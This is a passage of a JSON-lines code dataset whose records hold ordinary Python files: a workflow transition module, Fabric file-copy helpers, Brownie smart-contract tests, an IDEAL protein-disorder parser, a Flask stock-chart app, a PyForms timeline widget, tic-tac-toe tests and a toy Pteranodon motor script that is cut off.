(settings.ASSIGNED, transition_object.post_transition_assign),\n (settings.SCHEDULED, transition_object.post_transition_schedule),\n (settings.PICKEDUP, transition_object.post_transition_pickedup),\n (settings.SP_ACCEPTED, transition_object.post_transition_sp_accepted),\n (settings.TOWARDS_PICKUP, transition_object.post_transition_towards_pickup),\n (settings.ARRIVED, transition_object.post_transition_arrived),\n (settings.PICKEDUP, transition_object.post_transition_pickedup),\n (settings.REJECTED, transition_object.post_transition_reject),\n (settings.DELIVERED, transition_object.post_transition_deliver),\n (settings.CANCELLED, transition_object.post_transition_cancel)\n ])\n post_transition_dict.get(transition_object.model.state)()\n return push","sub_path":"workflow/spsd_workflow/spsd_transition.py","file_name":"spsd_transition.py","file_ext":"py","file_size_in_byte":13617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226286688","text":"import tempfile\nimport os\nfrom fabric.api import run, put\nfrom fabric.contrib.files import exists\n\n\ndef sed(file, sedexpr):\n 'Run a sed expression ``sedexpr`` in-place on ``file``.'\n run('sed -i\\'\\' \"%s\" \"%s\"' % (sedexpr, file))\n\n\ndef strput(text, target):\n 'Put the contents of the string ``text`` into remote file ``target``.'\n df = tempfile.NamedTemporaryFile()\n df.write(text)\n df.flush()\n put(df.name, target)\n # Must be performed last as closing deletes the temp. file.\n df.close()\n\n\ndef copytree(source, destroot, mkdir=True, excl=[], exclfunc=lambda x: False):\n '''\n Copy the contents of a directory tree.\n\n If ``mkdir`` is True, the destination directory will be created on the\n remote host. ``excl`` is a list of file names to be excluded (note this\n function compares it with the source **path**). For more complex logic you\n can specify a function ``exclfunc`` taking the source path and returning a\n True if the src path should be exluded.\n '''\n if mkdir is True:\n run('mkdir -p %s' % destroot)\n dircache = set()\n for dpath, dnames, fnames in os.walk(source):\n for f in fnames:\n src = os.path.join(dpath, f)\n target = os.path.join(destroot, src)\n\n if src in excl:\n continue\n if exclfunc(src) is True:\n continue\n if dpath not in dircache:\n run('mkdir -p %s' % os.path.join(destroot, dpath))\n dircache.add(dpath)\n put(src, target)\n","sub_path":"fabutil.py","file_name":"fabutil.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"212156934","text":"#!/usr/bin/python3\n\nfrom brownie import *\nfrom scripts.deployment import main\n\n\ndef setup():\n config['test']['always_transact'] = False\n main(SecurityToken)\n global token, issuer, ownerid, id1, id2\n token = SecurityToken[0]\n issuer = IssuingEntity[0]\n for i in range(10):\n a.add()\n sigs = (\n issuer.signatures['setAuthoritySignatures'],\n issuer.signatures['setAuthorityApprovedUntil'],\n issuer.signatures['setAuthorityThreshold']\n\n )\n issuer.addAuthority((a[-2],), sigs, 2000000000, 1, {'from': a[0]})\n issuer.addAuthority((a[-1], a[-3]), sigs, 2000000000, 1, {'from': a[0]})\n for i in range(-3,0):\n a[0].transfer(a[i], \"1 ether\")\n ownerid = issuer.ownerID()\n id1 = issuer.getID(a[-2])\n id2 =issuer.getID(a[-1])\n\ndef set_approval():\n '''set authrority approved until'''\n issuer.setAuthorityApprovedUntil(id1, 12345, {'from': a[0]})\n check.equal(issuer.getAuthority(id1), (1, 1, 12345))\n issuer.setAuthorityApprovedUntil(id1, 0, {'from': a[0]})\n check.equal(issuer.getAuthority(id1), (1, 1, 0))\n issuer.setAuthorityApprovedUntil(id1, 2000000000, {'from': a[0]})\n check.equal(issuer.getAuthority(id1), (1, 1, 2000000000))\n\ndef set_approval_as_authority():\n '''set authority approved until - as authority (reverts)'''\n check.reverts(\n issuer.setAuthorityApprovedUntil,\n (id1, 12345, {'from': a[-2]})\n )\n\ndef set_signatures():\n '''set authority signatures'''\n sigs = (\n issuer.signatures['addAuthorityAddresses'],\n issuer.signatures['removeAuthorityAddresses']\n )\n check.false(issuer.isApprovedAuthority(a[-2], sigs[0]))\n check.false(issuer.isApprovedAuthority(a[-2], sigs[1]))\n issuer.setAuthoritySignatures(id1, sigs, True, {'from': a[0]})\n check.true(issuer.isApprovedAuthority(a[-2], sigs[0]))\n check.true(issuer.isApprovedAuthority(a[-2], sigs[1]))\n issuer.setAuthoritySignatures(id1, sigs, False, {'from': a[0]})\n check.false(issuer.isApprovedAuthority(a[-2], sigs[0]))\n check.false(issuer.isApprovedAuthority(a[-2], sigs[1]))\n\ndef set_sigs_as_authority():\n '''set authority signatures - as authority (reverts)'''\n check.reverts(\n issuer.setAuthoritySignatures,\n (id1, (issuer.signatures['setAuthoritySignatures'],), True, {'from': a[-2]})\n )\n\ndef set_threshold():\n '''set threshold'''\n issuer.setAuthorityThreshold(id2, 2, {'from': a[0]})\n check.equal(issuer.getAuthority(id2), (2, 2, 2000000000))\n issuer.setAuthorityThreshold(id2, 1, {'from': a[0]})\n check.equal(issuer.getAuthority(id2), (2, 1, 2000000000))\n\ndef set_threshold_as_authority():\n '''set threshold as authority'''\n issuer.setAuthorityThreshold(id2, 2, {'from': a[-1]})\n check.equal(issuer.getAuthority(id2), (2, 2, 2000000000))\n issuer.setAuthorityThreshold(id2, 1, {'from': a[-1]})\n check.equal(issuer.getAuthority(id2), (2, 2, 2000000000))\n issuer.setAuthorityThreshold(id2, 1, {'from': a[-3]})\n check.equal(issuer.getAuthority(id2), (2, 1, 2000000000))\n\n\ndef set_threshold_as_authority_not_permitted():\n '''set threshold as authority, not permitted'''\n issuer.setAuthoritySignatures(id2, (issuer.signatures['setAuthorityThreshold'],), False, {'from': a[0]})\n check.reverts(\n issuer.setAuthorityThreshold,\n (id2, 2, {'from': a[-1]})\n )\n issuer.setAuthoritySignatures(id2, (issuer.signatures['setAuthorityThreshold'],), True, {'from': a[0]})\n issuer.setAuthorityThreshold(id2, 2, {'from': a[-1]})\n\n\ndef set_other_authority_threshold():\n '''set other authority threshold (reverts)'''\n check.reverts(\n issuer.setAuthorityThreshold,\n (id1, 1, {'from': a[-1]}),\n \"dev: wrong authority\"\n )\n\ndef set_threshold_too_high():\n '''set threshold too high'''\n check.reverts(\n issuer.setAuthorityThreshold,\n (id1, 2, {'from': a[-2]}),\n \"dev: threshold too high\"\n )\n\n\n","sub_path":"tests/multisig/setters.py","file_name":"setters.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"631258306","text":"import xml.etree.ElementTree as ET\nimport numpy as np\n\ntree = ET.parse(\"IDEAL_20190426.xml\")\nroot = tree.getroot()\n\ndata = np.array([])\nans = \"\"\ndef check_dab(data):\n print(\"aa\")\n #print(data)\n #print(len(data))\n counter = 0\n for i in data:\n #print (i)\n data[counter][0] = int(data[counter][0])\n data[counter][1] = int(data[counter][1])\n counter += 1\n #print(counter)\n data = sorted(data)\n flag = 0\n #print (\"sorted\",data)\n while True:\n counter = 0\n #print(\"top\")\n for i in data:\n #print (i)\n counter += 1\n #print(counter,i,\"dbg1\")\n flag = 0\n #counter -= 1\n for i in range(counter-1):\n #print(counter,i,\"aaa\")\n #print(data)\n try:\n tmp = data[i+1][0]\n except:\n break\n if i == counter:\n break\n if data[i][0] == data[i+1][0]:\n flag = 1\n #print(counter,i,\"dbg2\")\n #print(data[i][0],data[i+1][0])\n #print(data)\n data[i][1] = data[i+1][1]\n data.pop(int(i+1))\n counter -=1\n elif data[i][1] == data[i+1][1]:\n data.pop(int(i+1))\n #print(counter,i,\"dbg3\")\n #print(data[i][1],data[i+1][1])\n #print(data)\n counter -=1\n flag = 1\n elif data[i][1] > data[i+1][1]:\n flag =1\n #print(counter,i,\"dbg4\")\n #print(data[i][1],data[i+1][1])\n #print(data)\n data.pop(int(i+1))\n counter -=1\n\n #print(flag)\n if flag == 0:\n print(\"dbg5\")\n break\n\n print(\"data\",data)\n return data\n\n\nfor entry in root.findall(\"IDEAL_entry\"):\n disorder_reg = \"\"\n for General in entry.findall(\"General\"):\n name = General.find(\"name\")\n func = General.find(\"function\")\n len = General.find(\"sequence_length\")\n seq = General.find(\"sequence\")\n seq = seq.text\n print(name.text)\n print(func.text)\n print(len.text)\n print(\"seq:\",seq)\n for Region in entry.findall(\"Region\"):\n chain_id = Region.find(\"region_id\")\n region_start = Region.find(\"region_start\")\n region_start = str(region_start.text)\n region_end = Region.find(\"region_end\")\n region_end = str(region_end.text)\n order_disorder = Region.find(\"order_disorder\")\n if order_disorder.text == \"order\":\n pass\n else:\n disorder_reg = disorder_reg + (region_start + \"-\" + region_end) +\" \"\n\n #print(disorder_reg)\n #print(no_disorder)\n no_disorder = disorder_reg.count(\"-\")\n list_disorder = disorder_reg.split()\n #list_disorder = list(set(list_disorder))\n print(list_disorder)\n data = np.append(data,name.text)\n disorder_seq = \"\"\n seq = list(seq)\n\n\n single_reg = np.array([])\n add_counter = 0\n for i in range(no_disorder):\n inp_reg = list_disorder[i].split(\"-\")\n if i == 0:\n single_reg = np.append(single_reg,inp_reg)\n single_reg = np.reshape(single_reg,(1,2))\n print(inp_reg)\n add_counter += 1\n else:\n for k in range(add_counter):\n if int(single_reg[k][0]) < int(inp_reg[1]):\n if int(single_reg[k][0]) > int(inp_reg[0]):\n single_reg[k][0] = inp_reg[0]\n elif int(single_reg[k][1]) > int(inp_reg[0]):\n if int(single_reg[k][1]) < int(inp_reg[1]):\n single_reg[k][1] = inp_reg[1]\n\n\n single_reg = np.append(single_reg,inp_reg)\n add_counter+=1\n single_reg = np.reshape(single_reg,(add_counter,2))\n\n\n\n\n\n #print(inp_reg)\n #print(\"======\")\n #print(single_reg)\n single_reg = list(map(list, set(map(tuple, single_reg))))\n #print(\"======\")\n #print(single_reg)\n #print(\"======\")\n reg_data = check_dab(single_reg)\n\n for reg in reg_data:\n if reg[0] == reg[1]:\n #print(\"dbg1\")\n #print(seq[int(int(reg[0])-1)])\n disorder_seq = disorder_seq + seq[int(int(reg[0])-1)]\n else:\n for k in range(int(reg[0]),int(int(reg[1]))+1):\n #print(\"dbg2\")\n disorder_seq = disorder_seq + seq[k-1]\n #print(seq[k-1])\n\n\n print(\"ans seq\",disorder_seq)\n ans = ans+str(disorder_seq)\nans = list(ans)\n\ncounter = 0\nfp = open(\"IDEAL_disorder\",\"w\")\nfor i in ans:\n counter+=1\n fp.write(str(i))\nprint(counter)\n","sub_path":"IDEAL_disorder.py","file_name":"IDEAL_disorder.py","file_ext":"py","file_size_in_byte":4694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335828470","text":"from project import db\n\n\nAppointments_Participants = db.Table('appointments_participants',\n db.Column('appointment_id',\n db.Integer,\n db.ForeignKey('appointments.id'),\n primary_key=True),\n db.Column('participant_id',\n db.Integer,\n db.ForeignKey('participants.id'),\n primary_key=True))\n\n\nclass Participant(db.Model):\n __tablename__ = 'participants'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(128), nullable=False)\n email = db.Column(db.String(128), nullable=False, unique=True)\n appointment = db.relationship('Appointment',\n backref='participants',\n secondary=Appointments_Participants,\n cascade='all')\n\n\ndef create_participant(name='Not Brian', email='test@email.com') ->\\\n Participant:\n \"\"\"\n Creates a participant and returns the created participant.\n :param name: Name of the participant\n :param email: Email of the participant\n :return: A participant object\n \"\"\"\n participant = Participant(name=name, email=email)\n return participant\n","sub_path":"server/project/models/participant.py","file_name":"participant.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"632471066","text":"import sys\nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), '../../..', 'bullseye'))\nfrom bullseye.core import Portfolio\nimport pandas as pd\nimport numpy as np\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nfrom flask import Flask, render_template, request\napp = Flask(__name__)\n\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef index(symbol='SPY'):\n portfolio = Portfolio()\n portfolio.add_symbol(symbol)\n spy = portfolio[symbol]\n\n try:\n num_days = int(request.args.get('days'))\n except:\n num_days = 250\n app.logger.info('num_days: %s', num_days)\n volume_data_points = get_volume_data(spy, num_days)\n max_volume_axis = max([dp.y for dp in volume_data_points]) * 2.25\n candlestick_data_points = get_candlestick_data(spy, num_days)\n max_price_axis = max([dp.y[1] for dp in candlestick_data_points]) * 1.05\n min_price_axis = min([dp.y[2] for dp in candlestick_data_points]) * 0.95\n bb_data_points = get_bollinger_bands(spy, num_days)\n moving_avg_data_points = get_moving_avg_data(spy, num_days)\n\n app.logger.info(moving_avg_data_points[0])\n\n return render_template('layout.html',\n symbol=symbol,\n max_volume_axis=max_volume_axis,\n max_price_axis=max_price_axis,\n min_price_axis=min_price_axis,\n volume_data_points=volume_data_points,\n candlestick_data_points=candlestick_data_points,\n moving_avg_data_points=moving_avg_data_points,\n bb_top_data_points=bb_data_points[0],\n bb_bottom_data_points=bb_data_points[1])\n\n\ndef to_datetime_str(np_datetime):\n ts = pd.to_datetime(str(np_datetime))\n return ts.strftime('%Y-%m-%d')\n\n\ndef to_year_mo_day(np_datetime):\n ts = pd.to_datetime(str(np_datetime))\n return ts.year, ts.month, ts.day\n\n\nclass DataPoint(object):\n def __init__(self, x_date, y_val):\n \"\"\"\n :param x_date: pandas timestamp\n :type x_date: pandas.tslib.Timestamp\n :param y_vals: Iterable of [Open, High ,Low, Close] if\n candlestick data, else a single numeric\n value\n \"\"\"\n self.x = x_date\n self.y = y_val\n\n def __str__(self):\n return '{}: ({}, {})'.format(self.__class__.__name__, self.x, self.y)\n\n def __repr__(self):\n return '{}: ({}, {})'.format(self.__class__.__name__, self.x, self.y)\n\n\ndef get_candlestick_data(stock, num_days):\n window = 20\n\n days_index = map(pd.to_datetime, stock[-num_days:].index.values)\n\n series = np.column_stack([\n stock['Open'][-num_days:].values,\n stock['High'][-num_days:].values,\n stock['Low'][-num_days:].values,\n stock['Close'][-num_days:].values\n ]).tolist()\n\n data_points = [DataPoint(x, y) for x, y in zip(days_index, series)]\n\n return data_points\n\n\ndef get_bollinger_bands(stock, num_days):\n window = 20\n\n ma = stock.moving_avg()\n bb = stock.bollinger_bands()\n\n days_index = map(pd.to_datetime, stock[-num_days:].index.values)\n\n top_series = (ma + bb)[-num_days:]\n bottom_series = (ma - bb)[-num_days:]\n\n top = [DataPoint(x, y) for x, y in zip(days_index, top_series)]\n bottom = [DataPoint(x, y) for x, y in zip(days_index, bottom_series)]\n\n return (filter_nan(top), filter_nan(bottom))\n\n\ndef get_moving_avg_data(stock, num_days):\n window = 20\n\n days_index = map(pd.to_datetime, stock[-num_days:].index.values)\n\n series = stock.moving_avg()[-num_days:]\n\n data_points = [DataPoint(x, y) for x, y in zip(days_index, series)]\n\n # return data_points\n return filter_nan(data_points)\n\ndef get_volume_data(stock, num_days):\n window = 20\n\n days_index = map(pd.to_datetime, stock[-num_days:].index.values)\n\n series = stock['Volume'][-num_days:]\n\n data_points = [DataPoint(x, y) for x, y in zip(days_index, series)]\n\n return data_points\n\n\ndef filter_nan(data_points):\n return filter(lambda dp: not np.isnan(dp.y), data_points)\n\n\nif __name__ == '__main__':\n # portfolio = Portfolio()\n # portfolio.add_symbol('SPY')\n # spy = portfolio['SPY']\n \n num_days = 250\n # candlestick_data_points = get_candlestick_data(spy, num_days)\n # volume_data_points = get_volume_data(spy, num_days)\n # bb_data_points = get_bollinger_bands(spy, num_days)\n # moving_avg_data_points = get_moving_avg_data(spy, num_days)\n # moving_avg_data_points = filter(lambda dp: not np.isnan(dp.y), moving_avg_data_points)\n # print moving_avg_data_points[0]\n # print candlestick_data_points[-1].x\n # print\n # print volume_data_points[-1].y\n # print\n # print moving_avg_data_points[-1].y\n # print\n # print bb_data_points[0][-1].y\n # print bb_data_points[1][-1].y\n\n formatter = logging.Formatter(\"%(asctime)s %(levelname)-7s [%(filename)s:%(lineno)s] %(message)s\",\n \"%Y-%m-%d %H:%M:%S\")\n handler = logging.StreamHandler()\n handler.setLevel(logging.INFO)\n handler.setFormatter(formatter)\n app.logger.addHandler(handler)\n\n app.run()\n","sub_path":"bullseye/swing_detection/train/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":4985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395054749","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\" pyforms.gui.Controls.ControlEventTimeline.TimelineChart\n\n\"\"\"\n\nfrom PyQt4 import QtGui\n\n__author__ = [\"Ricardo Ribeiro\", \"Hugo Cachitas\"]\n__credits__ = [\"Ricardo Ribeiro\", \"Hugo Cachitas\"]\n__license__ = \"MIT\"\n__version__ = \"0.0\"\n__maintainer__ = \"Ricardo Ribeiro\"\n__email__ = \"ricardojvr@gmail.com\"\n__status__ = \"Development\"\n\n\nclass TimelineChart(object):\n\n\tdef __init__(self, timeLineWidget, color=QtGui.QColor(255, 0, 0), name='undefined'):\n\t\tself._data = []\n\t\tself._firstFrame = None\n\t\tself._graphMax = None\n\t\tself._graphMin = None\n\t\tself._widget = timeLineWidget\n\t\tself._color = color\n\t\tself._zoom = 1.0\n\t\tself._top = 0\n\t\tself._name = name\n\n\tdef import_data(self,data):\n\t\tself._graphMax = 0\n\t\tself._graphMin = 100000000000\n\t\tself._data = []\n\t\tlast_x = 0\n\t\tfor x, y in data:\n\t\t\tif y > self._graphMax: self._graphMax = y\n\t\t\tif y < self._graphMin: self._graphMin = y\n\n\t\t\tif int(x - last_x) > 1:\n\t\t\t\tfor i in range(0, int(x - last_x) + 1): self._data.append( (last_x + i, y) )\n\t\t\telse:\n\t\t\t\tself._data.append((x, y))\n\t\t\tlast_x = x\t\n\n\tdef import_csv(self,csvfileobject):\n\n\t\tdata = [map(float, row) for row in csvfileobject]\n\t\tself._graphMax = 0\n\t\tself._graphMin = 100000000000\n\t\tself._data = []\n\t\tlast_x = 0\n\t\tfor x, y in data:\n\t\t\tif y > self._graphMax: self._graphMax = y\n\t\t\tif y < self._graphMin: self._graphMin = y\n\n\t\t\tif int(x - last_x) > 1:\n\t\t\t\tfor i in range(0, int(x - last_x) + 1): self._data.append( (last_x + i, y) )\n\t\t\telse:\n\t\t\t\tself._data.append((x, y))\n\t\t\tlast_x = x\n\n\t#####################################################################################\n\t###### PROPERTIES ###################################################################\n\t#####################################################################################\n\n\t@property\n\tdef graph_min(self): return self._graphMin\n\t@graph_min.setter\n\tdef graph_min(self, value): self._graphMin = value\n\n\t@property\n\tdef graph_max(self): return self._graphMax\n\t@graph_max.setter\n\tdef graph_max(self, value): self._graphMax = value\n\n\t@property\n\tdef zoom(self): return self._zoom\n\t@zoom.setter\n\tdef zoom(self, value): self._zoom = value\n\n\t@property\n\tdef top(self): return self._top\n\t@top.setter\n\tdef top(self, value): self._top = value\n\n\t#####################################################################################\n\t#####################################################################################\n\t#####################################################################################\n\n\tdef draw(self, painter, left, right, top, bottom):\n\t\tpainter.setPen(self._color)\n\t\tpainter.setOpacity(0.7)\n\n\t\tfov_height = (bottom - top)*self._zoom\n\t\tstart = self._widget.x2frame(left)\n\t\tend = self._widget.x2frame(right)\n\t\tend = len(self._data) if end > len(self._data) else end\n\t\tdiff_max_min = (self._graphMax - self._graphMin)\n\n\t\ttop = (-self._graphMin if self._graphMin>0 else abs(self._graphMin))*self._zoom\n\n\t\tif diff_max_min <= 0: diff_max_min = 1\n\t\t\n\t\tlast_coordenate = None\n\n\t\tfor pos1 in self._data[start:end]:\n\t\t\tif pos1:\n\t\t\t\tx, y = pos1\n\t\t\t\ty = self._top + ((top+y) * fov_height) // diff_max_min\n\t\t\t\tif last_coordenate: painter.drawLine( last_coordenate[0], last_coordenate[1], self._widget.frame2x(x), fov_height-y)\n\n\t\t\t\tlast_coordenate = self._widget.frame2x(x), fov_height-y\n\n\t\tpainter.setOpacity(1.0)\n\n\t@property\n\tdef name(self): return self._name\n\t@name.setter\n\tdef name(self, value): self._name = value\n\t\n\tdef mouse_move_evt(self, event, top, bottom):\n\t\t\n\t\tframe = self._widget.x2frame( event.x() )\n\t\t\n\t\tfov_height = (bottom - top)*self._zoom\n\t\ttop = (-self._graphMin if self._graphMin>0 else abs(self._graphMin))*self._zoom\n\t\tdiff_max_min = (self._graphMax - self._graphMin)\n\t\tif diff_max_min <= 0: diff_max_min = 1\n\n\t\tvideo_coord \t\t= self._data[frame]\n\n\t\ty_video_widget_coord = self._top + ((top+video_coord[1]) * fov_height) // diff_max_min\n\n\t\tif abs( (fov_height-y_video_widget_coord) -event.y())<=3:\n\t\t\tself._widget.graphs_properties.coordenate_text = \"Frame: {0} Value: {1}\".format(*video_coord)\n\t\telse:\n\t\t\tself._widget.graphs_properties.coordenate_text = None\n\t\t\n\n\tdef export_2_file(self, filename):\n\t\twith open(filename, 'w') as outfile:\n\t\t\toutfile.write(';'.join(['frame','value'])+'\\n' )\n\t\t\tfor x,y in self._data:\n\t\t\t\toutfile.write(';'.join([str(x),str(y)])+'\\n' )","sub_path":"pyforms/gui/Controls/ControlEventTimeline/TimelineChart.py","file_name":"TimelineChart.py","file_ext":"py","file_size_in_byte":4445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200304080","text":"import unittest2 as unittest\r\nfrom tictactoe.board import BoardCalculator\r\n\r\nclass TestStringMethods(unittest.TestCase):\r\n def setUp(self):\r\n self.entries = {'xwinr': [('X', 'X', 'X'), ('O', '', ''), ('O', '', '')],\r\n 'owinr': [('X', 'X', ''), ('O', 'O', 'O'), ('', 'X', '')],\r\n 'xwinc': [('X', 'X', 'O'), ('O', 'X', 'X'), ('O', 'X', 'O')],\r\n 'owinc': [('X', 'X', 'O'), ('', 'X', 'O'), ('', '', 'O')],\r\n 'xwind': [('X', '', 'O'), ('O', 'X', 'X'), ('O', '', 'X')],\r\n 'owind': [('X', 'X', 'O'), ('', 'O', 'X'), ('O', 'X', 'O')],\r\n 'draw': [('X', 'X', 'O'), ('O', 'O', 'X'), ('X', 'X', 'O')],\r\n 'incomplete': [('X', 'X', 'O'), ('', '', ''), ('', '', '')],\r\n 'incomplete0': [('', '', ''), ('', '', ''), ('', '', '')],\r\n 'incomplete1': [('X', '', ''), ('', '', ''), ('', '', '')],\r\n 'invalidgame': [('X', 'X', 'X'), ('O', 'X', 'X'), ('O', 'X', 'O')],\r\n 'invalidinputA': [('a', 'X', 'O'), ('O', 'X', 'X'), ('O', 'X', 'O')],\r\n 'invalidinputX0': [('XO', 'X', 'O'), ('O', 'X', 'X'), ('O', 'X', 'O')]\r\n }\r\n self.board = BoardCalculator()\r\n\r\n def test_Xwins(self):\r\n tests = ['xwinr', 'xwinc','xwind']\r\n expected = 'X Wins!'\r\n for test in tests:\r\n print(self.entries[test])\r\n self.board.loadBoardValues(self.entries[test])\r\n status = self.board.checkBoard()\r\n self.assertEqual(status,expected)\r\n\r\n def test_Owins(self):\r\n tests = ['owinr', 'owinc','owind']\r\n expected = 'O Wins!'\r\n for test in tests:\r\n print(self.entries[test])\r\n self.board.loadBoardValues(self.entries[test])\r\n status = self.board.checkBoard()\r\n self.assertEqual(status, expected)\r\n\r\n def test_Draw(self):\r\n tests = ['draw']\r\n expected = 'Draw'\r\n for test in tests:\r\n print(self.entries[test])\r\n self.board.loadBoardValues(self.entries[test])\r\n status = self.board.checkBoard()\r\n self.assertEqual(status, expected)\r\n\r\n def test_Incomplete(self):\r\n tests = ['incomplete','incomplete0','incomplete1']\r\n expected = 'Game Incomplete'\r\n for test in tests:\r\n print(self.entries[test])\r\n self.board.loadBoardValues(self.entries[test])\r\n status = self.board.checkBoard()\r\n self.assertEqual(status, expected)\r\n\r\n def test_InvalidGame(self):\r\n tests = ['invalidgame']\r\n expected = 'Invalid Game'\r\n for test in tests:\r\n print(self.entries[test])\r\n self.board.loadBoardValues(self.entries[test])\r\n status = self.board.checkBoard()\r\n self.assertEqual(status, expected)\r\n\r\n def test_InvalidInput(self):\r\n tests = ['invalidinputA','invalidinputX0']\r\n for test in tests:\r\n print(self.entries[test])\r\n self.assertRaises(ValueError, self.board.loadBoardValues,self.entries[test])\r\n\r\n","sub_path":"tests/test_board.py","file_name":"test_board.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"599605340","text":"#!/usr/bin/python3\n\"\"\"\n4D Pteranodon\n\nDescription:\nThis program controls the motor of a toy Pteranodon. A button is\npressed to make the Pteranodon squawk and flap its wings.\n\n....................\n\nFunctions:\n- file_check: Checks to see if the necessary files exist\n- permission_check: Checks to see if the user has permission to read\n the necessary files\n- read_file: Reads the dino_facts file\n- empty_file_check: Checks to see if the dino_facts list is empty\n- print_header: Prints a header\n- prompt_user_for_input: Prompts user to push a button\n- get_roar: Gets one random sound file\n- print_dinosaur_fact: Prints a random dinosaur fact\n- activate_t_rex: Starts the T. rex motor\n- release_gpio_pins: Realeases the GPIO pins.\n- stop_the_program: Stops the program\n\n....................\n\nAuthor: Paul Ryan\n\nThis program was written on a Raspberry Pi using the Geany IDE.\n\"\"\"\n\n########################################################################\n# Import modules #\n########################################################################\n\nimport os\nimport logging\nimport random\nfrom time import sleep\nfrom gpiozero import Motor, Button, OutputDevice\nimport pygame\n\n########################################################################\n# Variables #\n########################################################################\n\nPTERANODON_MOTOR = Motor(2, 3, True) # forward, backward, pwm\nPTERANODON_MOTOR_ENABLE = OutputDevice(4)\nYELLOW_BUTTON = Button(17)\nRED_BUTTON = Button(9)\n\n########################################################################\n# Initialize #\n########################################################################\n\npygame.mixer.init()\n\nlogging.basicConfig(filename='Files/pteranodon.log', filemode='w',\n level=logging.INFO,\n format='%(asctime)s %(levelname)s: %(message)s',\n datefmt='%m/%d/%y %I:%M:%S %p:')\n\n########################################################################\n# Functions #\n########################################################################\n\n\ndef main():\n \"\"\"\n This is the main function. It will wait until one of two buttons is\n pressed. One button will activate the Pteranodon and the other\n button will stop the program. Pressing Ctrl-C will also stop the\n program.\n \"\"\"\n\n try:\n logging.info(\"START\")\n # Check to see that the necessary files exist\n file_check()\n # Check to see if files are accessible\n permission_check()\n # Read the dinosaur_facts.txt file to populate the dino_facts list.\n dino_facts = read_file(\"Files/dinosaur_facts.txt\")\n # Check to see if the file is empty\n empty_file_check(dino_facts)\n # Acknowledge that prelimiary checks are complete\n logging.info(\"Prelimiary checks are complete. Starting program...\")\n # Display program header\n print_header()\n # Pre-load the first sound file\n squawk, squawk_length = get_squawk()\n # Prompt the user to press a button\n prompt_user_for_input()\n\n while True:\n\n if YELLOW_BUTTON.is_pressed:\n # Print out a random dinosaur fun fact\n print_dinosaur_fact(dino_facts)\n # Move the Pteranodon for the duration of the sound file\n activate_pteranodon(squawk, squawk_length)\n # Load the next sound file\n squawk, squawk_length = get_squawk()\n # Prompt the user to press a button\n prompt_user_for_input()\n\n if RED_BUTTON.is_pressed:\n stop_the_program()\n\n except KeyboardInterrupt:\n stop_the_program()\n\n\ndef file_check():\n \"\"\"\n Checks to see if the necessary files exist\n\n This function checks to see if the necessary files exist.\n If they all exist, the program will continue.\n If a file is missing, the program will print out a message to the\n screen and then exit.\n \"\"\"\n\n file_missing_flag = 0\n\n sounds = ['Pteranodon1.ogg', 'Pteranodon2.ogg', 'Pteranodon3.ogg',\n 'Pteranodon4.ogg']\n\n # Check to see if sound files exists\n for sound in sounds:\n if os.path.isfile('Sounds/' + sound):\n logging.info(\"%s file was found!\", sound)\n else:\n logging.error(\"%s file was not found! Make sure \" +\n \"that the %s file exists in the \" +\n \"'Sounds' folder.\", sound, sound)\n file_missing_flag = 1\n\n # If there are no missing files, return to the main function\n # Otherwise print out message and exit the program\n if file_missing_flag == 0:\n return\n else:\n print(\"\\033[1;31;40m\\nCould not run the program. Some files are \" +\n \"missing. Check the log in the 'Files' folder for more \" +\n \"information.\\n\")\n stop_the_program()\n\n\ndef permission_check():\n \"\"\"\n Checks to see if the user has permission to read the necessary files\n\n This function checks to see if the user has permission to read the\n necessary files. If so, the program will continue. If not, the\n program will print out a message to the screen and then exit.\n \"\"\"\n\n permission_flag = 0\n\n sounds = ['Pteranodon1.ogg', 'Pteranodon2.ogg', 'Pteranodon3.ogg',\n 'Pteranodon4.ogg']\n\n logging.info(\"PERMISSION CHECK\")\n # Check to see if user has read access to dinosaur_facts.txt\n if os.access('Files/dinosaur_facts.txt', os.R_OK):\n logging.info(\"User has permission to read the dinosaur_facts.txt \" +\n \"file.\")\n else:\n logging.error(\"User does not have permission to read the \" +\n \"dinosaur_facts.txt file.\")\n permission_flag = 1\n\n # Check to see if user has read access to sound files\n for sound in sounds:\n if os.access('Sounds/' + sound, os.R_OK):\n logging.info(\"User has permission to read the \" +\n \"%s file.\", sound)\n else:\n logging.error(\"User does not have permission to read the \" +\n \"%s file.\", sound)\n permission_flag = 1\n\n if permission_flag == 0:\n return\n else:\n print(\"\\033[1;31;40m\\nCould not run the program. Check the log \" +\n \"in the 'Files' folder for more information.\")\n stop_the_program()\n\n\ndef read_file(file_name):\n \"\"\"\n Reads the dino_facts file\n\n This function reads the dino_facts file and populates a list. Each\n line of the file will be an element in the dino_facts list. It will\n then return the dino_facts list to the main function. If the program\n is unable to populate the list, it will display an error message and\n then exit the program.\n\n Arguments:\n file_name: The dinosaur_facts.txt file located in the 'Files'\n folder.\n\n Returns:\n dino_facts: a list of dinosaur facts\n \"\"\"\n\n logging.info(\"READING DINOSAUR_FACTS.TXT\")\n try:\n with open(file_name, \"r\") as facts: # open the file as read-only\n dino_facts = facts.readlines()\n logging.info(\"The dino_facts list was successfully populated.\")\n except IOError:\n print(\"\\033[1;31;40mErrors were encountered. Check the log in the \" +\n \"'Files' folder for more information.\")\n logging.error(\"The dino_facts list could not be populated.\")\n stop_the_program()\n\n return 